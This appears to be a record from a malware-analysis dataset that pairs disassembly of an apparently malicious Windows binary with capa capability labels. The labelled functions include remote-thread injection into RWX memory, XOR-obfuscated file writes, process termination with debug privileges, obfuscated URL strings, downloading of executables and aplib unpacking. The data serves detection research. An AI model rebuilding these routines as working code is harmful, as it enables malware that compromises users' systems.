joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100087d9
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
call fcn.100086cb
push dword [ebp + 8]
call fcn.1000e908
pop ecx
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
jne 0x1000880f
xor al, al
jmp 0x100089ab
push 0xf4
lea eax, [ebp - 0xf8]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x100020bc
call dword [sym.imp.MSVCRT.dll__strrev]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x10
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push 0x100020ac
push ebx
call esi
push 0x1000209c
push ebx
mov dword [ebp - 0xf8], eax
call esi
push 0x10002088
push ebx
mov dword [ebp - 0xf4], eax
call esi
push 0x10002078
push ebx
mov dword [ebp - 0xf0], eax
call esi
push 0x10002068
push ebx
mov dword [ebp - 0xec], eax
call esi
push 0x10002058
push ebx
mov dword [ebp - 0xe8], eax
call esi
push 0x10002044
push ebx
mov dword [ebp - 0xe4], eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xe0], eax
call ebx
push 0x10002038
call edi
push 0x10002028
push eax
mov dword [ebp - 4], eax
call esi
push dword [ebp - 4]
mov dword [ebp - 0xdc], eax
call ebx
push 0x1000129c
call edi
mov edi, eax
push 0x10002020
push edi
call esi
push 0x10002014
push edi
mov dword [ebp - 0xd4], eax
call esi
push edi
mov dword [ebp - 0xd8], eax
call ebx
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xcc]
push eax
call esi
lea eax, [ebp - 0x68]
push 0x10001ff0
push eax
call esi
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, 0x1000
mov esi, 0xf4
push ebx
push esi
push 0
push dword [ebp + 8]
call edi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x10008808
push 0
lea ecx, [ebp - 0xf8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ecx
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10008808
push 0x40
push ebx
mov ebx, 0x2800
push ebx
push 0
push dword [ebp + 8]
call edi
mov edi, eax
test edi, edi
je 0x10008808
push 0
push ebx
push 0x10008743
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x10008808
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push edi
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a59c
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
push 0x10002370
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000a60d
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test edi, edi
pop ecx
mov ebx, eax
jle 0x1000a638
mov ecx, dword [ebp + 8]
sub ecx, ebx
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec edi
jne 0x1000a62c
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000aa14
Capabilities:
Enumerate processes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, 0x128
mov dword [esp + 0x10], eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
push edi
push dword [esp + 0x14]
mov dword [edi], esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000aa95
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000aa95
push dword [esp + 0x18]
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
lea ebx, [edi + 0x24]
call esi
pop ecx
push eax
push ebx
call esi
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
push eax
jmp 0x1000aa88
push edi
push dword [esp + 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000aa95
push dword [esp + 0x18]
call esi
pop ecx
push eax
push ebx
call esi
pop ecx
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jbe 0x1000aa6d
push 1
pop eax
jmp 0x1000aa97
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000ae56
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
mov ebx, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
push ebx
mov dword [ebp - 4], ecx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push 0x1000143c
push eax
call esi
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x108]
push 0x100023e4
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x20c]
push 0x100023dc
push eax
call dword [fcn.10003e9c]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [ebp - 0x20c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x310]
push ebx
push eax
call edi
lea eax, [ebp - 0x310]
push 0x100023d0
push eax
call esi
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [ebp - 4]
cmp dword [esi + 0x9e54], 0x120
lea eax, [esi + 0x10]
push eax
je 0x1000af32
push 0x100023c0
call fcn.100087d9
pop ecx
jmp 0x1000af37
call fcn.10007163
pop ecx
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000b0a4
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
lea eax, [ebp - 0x110]
xor ebx, ebx
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
push 0x10002370
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x1000b148
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x1000b133
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x1000b12a
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.1000b05a
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret
Function at 0x1000cd35
Capabilities:
Terminate process

Disassembly:
mov eax, 0x100161cc
call fcn.10015114
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], 0x10003fd4
push 1
xor edi, edi
push 0x54
push 0x100024e4
mov dword [ebp - 4], edi
call dword [sym.imp.MSVCRT.dll__strnset]
add esp, 0xc
push eax
push 0x10001cb0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov ebx, eax
push dword [esi + 0x28]
call ebx
push edi
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
push dword [esi + 0x24]
call ebx
push 0x7d0
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
push dword [esi + 0x2c]
call ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x10]
cmp eax, edi
je 0x1000cdca
push eax
call fcn.1000ccf1
pop ecx
mov eax, dword [esi + 0x14]
cmp eax, edi
je 0x1000cdd8
push eax
call fcn.1000ccf1
pop ecx
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x1000cde6
push eax
call fcn.1000ccf1
pop ecx
mov eax, dword [esi + 0x1c]
cmp eax, edi
je 0x1000cdf4
push eax
call fcn.1000ccf1
pop ecx
push dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 0x18]
call edi
push dword [esi + 0x1c]
call edi
push dword [esi + 0x20]
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x2c]
call edi
push dword [esi + 0x28]
call edi
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.1000b19e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x1000d10c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.1000cfc2
pop ecx
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
test eax, eax
jle 0x1000d14a
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x19
add ecx, edx
inc edx
cmp edx, eax
jl 0x1000d133
mov eax, dword [ebp - 4]
leave
ret
Function at 0x1000d249
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc2c
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll__strnset]
push edi
push 1
push 0x49
push 0x100025a8
call esi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push eax
push 0x1000259c
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 1
push 0x49
push 0x10002588
mov dword [ebp - 0x20], eax
call esi
add esp, 0xc
push eax
push 0x1000257c
call edi
push eax
call ebx
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp esi, ebx
mov dword [ebp - 0xc], eax
je 0x1000d358
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x14]
push eax
push esi
mov dword [ebp - 0x24], ebx
mov byte [ebp - 1], bl
mov byte [ebp - 0x14], 0x68
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x70
mov byte [ebp - 0x10], 0x3a
mov byte [ebp - 0xf], 0x2f
mov byte [ebp - 0xe], bl
mov byte [ebp - 0x1c], 0x68
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x70
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x3a
mov byte [ebp - 0x16], 0x2f
mov byte [ebp - 0x15], bl
call edi
pop ecx
test eax, eax
pop ecx
jne 0x1000d32e
lea eax, [ebp - 0x1c]
push eax
push esi
call edi
pop ecx
test eax, eax
pop ecx
jne 0x1000d32e
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.1000d14f
add esp, 0x1c
mov al, 1
jmp 0x1000d43b
push ebx
push ebx
push ebx
push ebx
push 0x10002560
call dword [0x10003eb8]
cmp eax, ebx
mov dword [ebp - 0x2c], eax
je 0x1000d358
push ebx
push 0x80000100
push ebx
push ebx
push esi
push eax
call dword [ebp - 0xc]
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x1000d35f
xor al, al
jmp 0x1000d43b
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x6d
mov byte [ebp - 2], bl
mov esi, 0x800
lea eax, [ebp - 0xc2c]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc2c]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x10003ebc]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc2c]
push eax
call edi
pop ecx
cmp eax, ebx
pop ecx
je 0x1000d41d
lea ecx, [ebp - 8]
add eax, 4
push ecx
push eax
mov dword [ebp - 0x28], eax
call edi
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x1000d41d
push 0x400
lea eax, [ebp - 0x42c]
push ebx
push eax
call sub.MSVCRT.dll_memset
sub esi, dword [ebp - 0x28]
lea eax, [ebp - 0x42c]
push esi
push dword [ebp - 0x28]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x42c]
push eax
call fcn.1000d10c
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.1000d14f
add esp, 0x38
mov byte [ebp - 1], 1
cmp dword [ebp - 0x24], ebx
ja 0x1000d37a
push dword [ebp - 0xc]
call dword [ebp - 0x20]
push dword [ebp - 0x2c]
call dword [ebp - 0x20]
push dword [ebp + 8]
call dword [ebp - 0x20]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000e3b7
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, 0x10001fdc
push 1
mov dword [ebp - 4], ecx
push ebx
call fcn.1000e637
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
pop ecx
jbe 0x1000e405
push edi
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x1000e3d7
pop edi
push 0
push ebx
call fcn.1000e637
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.1000e365
mov ecx, dword [ebp - 4]
call fcn.1000e38e
pop esi
pop ebx
leave
ret 8
Function at 0x1000e42d
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push ebx
push esi
push edi
push 0x1000282c
push 0x10001cb0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x49
mov ebx, eax
xor esi, esi
pop ecx
xor eax, eax
lea edi, [ebp - 0x13c]
and byte [ebp - 0x244], al
mov dword [ebp - 0x140], esi
rep stosd dword es:[edi], eax
push 0x40
lea edi, [ebp - 0x243]
pop ecx
mov dword [ebp - 0x10], esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
pop edi
push edi
push 0x10001fdc
call fcn.1000e637
pop ecx
pop ecx
push esi
push 2
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x1000e4a2
xor eax, eax
jmp 0x1000e632
push 0x400
push 0x40
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0x140]
push eax
mov dword [ebp - 8], ebx
push dword [ebp - 4]
mov byte [ebx], 0x7f
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000e60d
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp - 0x138]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp dword [ebp - 0x138], 0
mov dword [ebp - 0xc], eax
je 0x1000e5ed
cmp dword [ebp - 0x138], 4
je 0x1000e5ed
cmp dword [ebp - 0x138], 8
je 0x1000e5ed
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x10]
push 4
push ecx
push eax
call fcn.10015eb7
lea eax, [ebp - 0x244]
push 0x104
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.10015ea5
lea eax, [ebp - 0x11c]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x244]
push eax
call esi
lea eax, [ebx + eax + 6]
mov ebx, dword [ebp - 8]
add eax, edi
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, dword [ebp - 0x14]
jae 0x1000e57f
push 0x42
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov dword [ebp - 8], ebx
lea eax, [ebp - 0x138]
push 4
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x11c]
add edi, 4
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x11c]
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, [ebp - 0x244]
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
call esi
lea edi, [edi + eax + 1]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000e4de
push 0x42
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push 0x10001fdc
mov esi, eax
call fcn.1000e637
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000e8a7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x1000e843
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x1000eb35
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push 1
xor esi, esi
pop ebx
mov dword [ebp - 4], esi
push esi
push esi
push esi
push esi
push 0x10002560
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], ebx
call dword [0x10003eb8]
cmp eax, esi
mov dword [ebp - 0x14], eax
je 0x1000eb7d
push esi
push 0x80000000
push esi
push esi
push dword [ebp + 8]
push eax
call dword [0x10003eb0]
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x1000eb84
xor al, al
jmp 0x1000ec21
push edi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x1000ec08
mov edi, 0x400
push edi
lea eax, [ebp - 0x414]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x414]
push edi
push eax
push dword [ebp - 0xc]
call dword [0x10003ebc]
cmp ebx, esi
je 0x1000ebdb
cmp word [ebp - 0x414], 0x5a4d
jne 0x1000ebfc
lea eax, [ebp - 0x10]
push esi
push eax
lea eax, [ebp - 0x414]
push dword [ebp - 4]
xor ebx, ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], esi
jbe 0x1000ebff
jmp 0x1000eba6
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
mov edi, dword [0x10003ec0]
call edi
push dword [ebp - 0x14]
call edi
xor eax, eax
cmp dword [ebp - 8], esi
pop edi
setne al
pop esi
pop ebx
leave
ret
Function at 0x1000f3f7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x10016236
call fcn.10015114
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.1000ee5a
test al, al
je 0x1000f48b
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x1000f430
call fcn.1000ec55
mov ecx, eax
jmp 0x1000f432
xor ecx, ecx
mov eax, dword [esi + 0x20]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x14], ecx
je 0x1000f44b
mov edx, dword [esi + 0x24]
cmp edx, ebx
je 0x1000f44b
push edx
push eax
jmp 0x1000f47f
push 0x120
push 0x160
call fcn.1000eed9
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000f48f
mov ecx, dword [esi + 0x14]
push 0x90
push 0xb0
call fcn.1000eed9
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000f48f
mov ecx, dword [esi + 0x14]
push ebx
push ebx
call fcn.1000eed9
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x1000f48f
xor al, al
jmp 0x1000f50d
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x3234504d
mov dword [ebp - 0x1c], 0x32335649
mov dword [ebp - 0x18], 0x64697663
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x24]
push 0x78
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x1000f4c9
mov dword [eax], 0x10003ff4
mov dword [eax + 0x48], ebx
jmp 0x1000f4cb
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.1000f51b
test al, al
jne 0x1000f4ff
mov ecx, dword [esi + 0x18]
cmp ecx, ebx
je 0x1000f4ee
mov eax, dword [ecx]
push 1
call dword [eax]
inc dword [ebp - 0x14]
add edi, 4
cmp dword [ebp - 0x14], 4
mov dword [esi + 0x18], ebx
jb 0x1000f4b2
jmp 0x1000f509
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esi + 0x1c], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0xc440b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0xc44200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xc440d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc440c2
add dl, dl
jne 0xc440e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc44134
xor eax, eax
add dl, dl
jne 0xc440ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc441d5
add dl, dl
jne 0xc440fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc44108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc44113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc4411e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xc4412a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xc440cd
mov eax, 1
add dl, dl
jne 0xc44142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc4414d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc44139
sub eax, ebx
mov ebx, 1
jne 0xc44180
mov ecx, 1
add dl, dl
jne 0xc44166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc44171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc4415d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc440cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xc44197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc441a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc4418e
cmp eax, 0x7d00
jae 0xc441c5
cmp eax, 0x500
jb 0xc441c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc440cd
cmp eax, 0x7f
ja 0xc441c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc440cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xc441f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xc440cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10